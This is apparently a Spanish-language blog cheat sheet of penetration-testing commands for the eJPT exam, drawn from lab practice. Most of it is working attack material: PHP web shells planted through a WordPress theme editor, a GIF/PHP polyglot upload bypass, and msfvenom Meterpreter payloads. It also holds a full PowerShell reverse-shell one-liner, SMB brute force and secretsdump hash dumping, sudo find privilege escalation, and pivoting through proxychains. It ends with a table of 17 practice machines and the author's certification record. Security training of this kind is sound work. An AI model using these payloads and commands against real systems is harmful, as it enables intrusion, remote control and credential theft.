eJPT Cheat Sheet - Guía Práctica y Recopilación de Máquinas
Recopilatorio completo de comandos, herramientas, metodologías paso a paso y la guía de 17 máquinas de práctica para superar con éxito el examen eJPT.
Recopilatorio de comandos usados en el laboratorio de TryHackMe eJPT y durante la preparación del examen. Una guía práctica paso a paso para auditoría de sistemas, pivoting, explotación y post-explotación.
1. ENUMERACIÓN INICIAL
Escaneo de puertos básico
nmap -Pn -p- -T4 192.168.100.50 -oG allports.txt
Enumerado detallado con versiones
nmap -sV -sC -p21,22,25,80,139,445,3306,3389 192.168.100.52 -oN detailed.txt
Script de vuln scanning
nmap --script default,vuln,safe -p puertos -n -Pn IP
2. ENUMERACIÓN WEB
WordPress scanning
wpscan --url wordpress.local
wpscan --url wordpress.local --enumerate u
HTTP version detection (Metasploit)
use auxiliary/scanner/http/http_version
set RHOSTS 192.168.100.50
set THREADS 5
run
Curl básico
curl -s http://192.168.100.50/todo.txt
curl -v http://target/
3. FTP - ACCESO ANÓNIMO
Conectar con FTP anónimo
ftp 192.168.100.51
# usuario: anonymous
# password: (dejar en blanco)
ls
get archivo.txt
Descargar archivos por FTP desde bash
ftp -n 192.168.100.51 << EOF
quote USER anonymous
quote PASS anonymous
ls
get updates.txt
EOF
4. SMB/SAMBA
Enumeración SMB
use auxiliary/scanner/smb/smb_version
set RHOSTS 192.168.100.51
run
Brute force SMB (Metasploit)
use auxiliary/scanner/smb/smb_login
set RHOSTS 192.168.100.55
set SMBUser admin
set SMBPass blanca
set PASS_FILE /path/to/wordlist.txt
run
CrackMapExec - Brute force SMB
crackmapexec smb 192.168.100.55 -u admin -p blanca
crackmapexec smb 192.168.100.55 -u /root/users.txt -p /root/passwords.txt
Ejecutar comando via SMB
crackmapexec smb 192.168.100.55 -u Administrator -p swordfish -x "whoami"
crackmapexec smb 192.168.100.55 -u Administrator -p swordfish -x "type C:\Users\Administrator\Desktop\flag.txt"
Volcar hashes SAM remotamente
impacket-secretsdump Administrator:swordfish@192.168.100.55
5. DRUPAL EXPLOTACIÓN
Drupal Drupalgeddon2 (CVE-2018-7600)
use exploit/unix/webapp/drupal_drupalgeddon2
set RHOSTS 192.168.100.52
set LHOST 192.168.100.5
set LPORT 8080
run
6. WORDPRESS RCE
Acceso a Theme Editor
Ir a: http://wordpress.local/wp-admin/theme-editor.php?file=index.php&theme=spintech
Inyectar shell PHP en 404.php
<?php if(isset($_GET['cmd'])){ system($_GET['cmd']); die(); } ?>
Ejecutar comando via web shell
http://wordpress.local/wp-content/themes/spintech/404.php?cmd=whoami
http://wordpress.local/wp-content/themes/spintech/404.php?cmd=cmd%20/c%20dir
7. WORDPRESS FILE UPLOAD BYPASS
Polyglot GIF89a + PHP
# Crear archivo polyglot
echo -ne '\x47\x49\x46\x38\x39\x61' > shell.gif # GIF89a header
echo '<?php system($_GET["cmd"]); ?>' >> shell.gif
# O directamente:
printf '\x47\x49\x46\x38\x39\x61' > shell.png
echo '<?php if(isset($_GET["cmd"])){ system($_GET["cmd"]); } ?>' >> shell.png
8. METERPRETER - GENERACIÓN DE PAYLOADS
Generar meter.exe con msfvenom
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.5 LPORT=8066 -f exe -o meter.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.100.5 LPORT=9090 -f exe -o meter.exe
PowerShell reverse shell
$client=New-Object System.Net.Sockets.TCPClient('192.168.100.5',4444);$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$stream.Read($bytes,0,$bytes.Length))-ne 0){$data=(New-Object -Value System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+$(pwd).Path+'> ';sendbytes=([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbytes,0,$sendbytes.Length);$stream.Flush()};$client.Close()
9. METASPLOIT HANDLERS Y EXPLOITATION
Listener multi/handler
use multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.100.5
set LPORT 8066
run -j
psexec - Ejecutar comando en SMB
use exploit/windows/smb/psexec
set PAYLOAD windows/meterpreter/reverse_tcp
set RHOSTS 192.168.100.55
set SMBUser Administrator
set SMBPass swordfish
set LHOST 192.168.100.5
set LPORT 8066
run
OpenSMTPD RCE
use exploit/unix/smtp/opensmtpd_mail_from_rce
set RHOSTS 192.168.100.52
set LHOST 192.168.100.5
set LPORT 4445
run
10. POST-EXPLOTACIÓN - METERPRETER COMMANDS
Información del sistema
meterpreter > sysinfo
meterpreter > getuid
meterpreter > getsystem
Dumping de hashes
meterpreter > hashdump
meterpreter > load kiwi
meterpreter > lsa_dump_sam
meterpreter > creds_all
Migración de proceso
meterpreter > migrate -N lsass.exe
Background session
meterpreter > background
Listar sesiones
sessions -l
sessions -i <numero>
11. LINUX PRIVILEGE ESCALATION
Checks de sudo
sudo -l
Escalada via sudo find
find . -exec /bin/sh -p \; -quit
Ver hashes en /etc/shadow
cat /etc/shadow
12. HASH CRACKING
John the Ripper - NT NTLM
echo "user:1001:aad3b435b51404eeaad3b435b51404ee:HASH:::" > hashes.txt
john --format=NT --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
john --show --format=NT hashes.txt
John - Drupal SHA-512
echo '$S$DZcGD5qcb6xso1E/Mu6DJP4uPi5DfY28kBEyuIab8Pod1saBaImN' > drupal_hash.txt
john drupal_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
Hashcat - NT NTLM
hashcat -m 1000 hashes.txt /usr/share/wordlists/rockyou.txt
13. PIVOTING - METASPLOIT AUTOROUTE
Establecer ruta hacia red interna
sessions -i <numero_session>
run autoroute -s 192.168.0.0/24
run autoroute -p # verificar
background
O con módulo post
use post/multi/manage/autoroute
set SESSION <numero>
set SUBNET 192.168.0.0
set NETMASK 255.255.255.0
run
SOCKS Proxy
use auxiliary/server/socks_proxy
set VERSION 5
set SRVPORT 1080
set SRVHOST 127.0.0.1
run -j
14. PROXYCHAINS - ESCANEO A TRAVÉS DEL PIVOT
Configurar proxychains4.conf
nano /etc/proxychains4.conf
Cambiar a:
dynamic_chain
# strict_chain ← comentar
# proxy_dns ← comentar
...
[ProxyList]
socks5 127.0.0.1 1080
Escaneo TCP con proxychains
proxychains nmap -sT -Pn -n -p 22,80,445,3389,5985 192.168.0.51 2>/dev/null
Scanner Metasploit por autoroute (mejor opción)
use auxiliary/scanner/portscan/tcp
set RHOSTS 192.168.0.0/24
set PORTS 21,22,80,443,445,3389,8080
set THREADS 10
run
ARP Sweep para hosts vivos
use auxiliary/scanner/discovery/arp_sweep
set RHOSTS 192.168.0.0/24
run
15. RDP - REMOTE DESKTOP
Conectar por RDP
xfreerdp /u:Administrator /p:swordfish /v:192.168.100.55
xfreerdp /u:Administrator /p:swordfish /v:192.168.0.61 /cert-ignore
Información RDP via nmap
nmap -sT -Pn -n -p 3389 --script rdp-ntlm-info 192.168.0.61 2>/dev/null
16. DATABASE - MYSQL/MARIADB
Conectar a MySQL
mysql -u drupal -p
# password: syntex0421
Comandos SQL básicos
use drupal;
show tables;
select * from users;
select name, pass from users;
17. WINRM - WINDOWS REMOTE MANAGEMENT
Evil-WinRM
proxychains evil-winrm -i 192.168.0.61 -u Administrator -p swordfish
CrackMapExec WinRM
proxychains crackmapexec winrm 192.168.0.61 -u Administrator -p swordfish
18. HTTP SERVER - COMPARTIR ARCHIVOS
Python HTTP server (puerto 80)
cd /root
python3 -m http.server 80
Descargar desde Windows PowerShell
Invoke-WebRequest http://192.168.100.5/meter.exe -OutFile C:\Windows\Temp\meter.exe
19. NETCAT - CONEXIONES BÁSICAS
Escuchar en puerto
nc -lvnp 4445
Conectar a host
nc 192.168.100.52 25
20. INFORMACIÓN GENERAL
Puertos comunes objetivo
21 - FTP
22 - SSH
25 - SMTP
80 - HTTP
139 - NetBIOS
445 - SMB
3306 - MySQL
3307 - MariaDB (custom)
3389 - RDP
5985 - WinRM
8080 - HTTP (web service)
10000 - Webmin
Wordlists
/usr/share/wordlists/rockyou.txt # 14M passwords
/usr/share/wordlists/dirb/common.txt # web directories
Comandos Windows útiles
whoami
systeminfo
ipconfig
net user
net localgroup administrators
dir /s C:\Users\Administrator\flag.txt
type C:\Users\Administrator\Desktop\flag.txt
Comandos Linux útiles
id
uname -a
cat /etc/shadow
cat /etc/passwd
sudo -l
find / -name "flag.txt" 2>/dev/null
21. TROUBLESHOOTING
Meterpreter no conecta reverse shell
- Probar con payload diferente (python, bash, netcat)
- Cambiar puerto (80, 443, 8080)
- Asegurarse que el listener esté activo ANTES de ejecutar
Proxychains muy lento
- Usar scanners de Metasploit directamente (más rápido)
- Escanear puertos específicos, no rangos enteros
- Cambiar a
dynamic_chainen proxychains4.conf
SMB brute force sin resultados
- Verificar que los usuarios existen (via enumeración previa)
- Probar con wordlist rockyou.txt
- Usar CrackMapExec en lugar de módulo SMB
WordPress shell devuelve blanco
- Windows: usar
cmd /cantes de comandos - Prefijo todos los comandos:
cmd /c whoami - Si falla, usar Theme Editor en lugar de upload
FLUJO TÍPICO DEL LAB
- Escaneo → nmap, servicios abiertos
- Enumeración web → WordPress, Drupal, IIS
- RCE → Theme editor, Drupalgeddon2, FTP+webshell
- Reverse shell → meterpreter/cmd
- Escalada local → sudo, getsystem
- Dumping hashes → hashdump, secretsdump
- Cracking → john, hashcat
- Pivoting → autoroute, socks proxy
- Red interna → scanner, exploits adicionales
- Flags → recolectar de Desktop, /root, /home
MÁQUINAS DE PRÁCTICA RECOMENDADAS (WRITEUPS DEL BLOG)
Para preparar eficazmente el examen eJPT, la práctica real resolviendo máquinas en entornos vulnerables es fundamental. A continuación se recogen las 17 máquinas documentadas paso a paso en la sección de Writeups de este sitio web. Se estructuran por sistema operativo y plataforma (TryHackMe y Hack The Box), destacando los conceptos y vectores técnicos trabajados en cada una:
🐧 Máquinas Linux
| Máquina | Plataforma | Dificultad | Vectores y Conceptos Clave | Enlace al Writeup |
|---|---|---|---|---|
| Anonymous | TryHackMe | Easy | Permisos FTP anónimos de escritura, manipulación de Cronjobs (clean.sh), SUID GTFOBins. | Ver Writeup |
| Blog | TryHackMe | Medium | Enumeración de recursos Samba, WordPress Crop-Image RCE, evasión de Rabbit Holes, SUID con ltrace. | Ver Writeup |
| Brooklyn Nine-Nine | TryHackMe | Easy | FTP anónimo, esteganografía (stegseek), fuerza bruta SSH (hydra), escalada Sudo en less. | Ver Writeup |
| Easy Peasy | TryHackMe | Easy | Nginx/Apache, fuzzing de puertos y rutas, esteganografía, cracking de hashes, tareas cron. | Ver Writeup |
| GoldenEye | TryHackMe | Medium | Enumeración POP3 con hydra, Moodle CMS RCE, exiftool, Kernel Exploit OverlayFS (CVE-2015-1328). | Ver Writeup |
| Hawk | Hack The Box | Medium | Archivo OpenSSL cifrado en FTP, Drupal 7 PHP injection, SSH escape, SSH Tunneling a H2 Database (Java RCE). | Ver Writeup |
| HA Joker CTF | TryHackMe | Medium | Intrusión en Joomla CMS, fuerza bruta Hydra, escalada de privilegios mediante contenedores LXD/LXC. | Ver Writeup |
| Lame | Hack The Box | Easy | Vulnerabilidad Samba 3.0.20 username map script (CVE-2007-2447), RCE directo a root. | Ver Writeup |
| Poster | TryHackMe | Easy | Explotación de PostgreSQL con Metasploit, cracking de hashes, escalada vía sudo. | Ver Writeup |
| RootMe | TryHackMe | Easy | Fuzzing web (gobuster), bypass de extensión en subida de ficheros (.phtml), binario SUID Python. | Ver Writeup |
| Source | TryHackMe | Easy | Webmin 1.920 backdoor RCE (CVE-2019-15107), shell root directa. | Ver Writeup |
| Wordpress: CVE-2021-29447 | TryHackMe | Easy | WordPress XXE mediante archivo WAV malicioso, lectura de /etc/passwd y wp-config.php, MySQL cracking. | Ver Writeup |
🪟 Máquinas Windows
| Máquina | Plataforma | Dificultad | Vectores y Conceptos Clave | Enlace al Writeup |
|---|---|---|---|---|
| Blue | Hack The Box | Easy | Windows 7, SMBv1 EternalBlue (MS17-010), Metasploit a NT AUTHORITY\SYSTEM. | Ver Writeup |
| Devel | Hack The Box | Easy | IIS 7.5, FTP anónimo con permiso de escritura, subida de webshell ASPX, MS10-015 (Kitrap0D). | Ver Writeup |
| Granny | Hack The Box | Easy | IIS 6.0 WebDAV buffer overflow (CVE-2017-7269), migración de procesos Meterpreter, MS14-058. | Ver Writeup |
| Legacy | Hack The Box | Easy | Windows XP, SMBv1 MS08-067 (CVE-2008-4250), Metasploit a NT AUTHORITY\SYSTEM. | Ver Writeup |
| Love | Hack The Box | Easy | Subdominios SSL, SSRF, Voting System 1.0 RCE, AlwaysInstallElevated con payload MSI. | Ver Writeup |
CERTIFICACIÓN OFICIAL eJPT
Como resultado de la preparación práctica y la aplicación de los comandos y metodologías expuestos en esta guía, he obtenido la certificación oficial eJPT (eLearnSecurity Junior Penetration Tester) expedida por INE Security.
- Titular: Isidro Benitez Zapico
- Certificación: eJPT (Junior Penetration Tester)
- Entidad Emisora: INE Security
- Fecha de Expedición: 20 de Julio de 2026
- ID de Certificación:
189257898 - Verificación Oficial: Verificar credencial en el portal oficial de INE Security
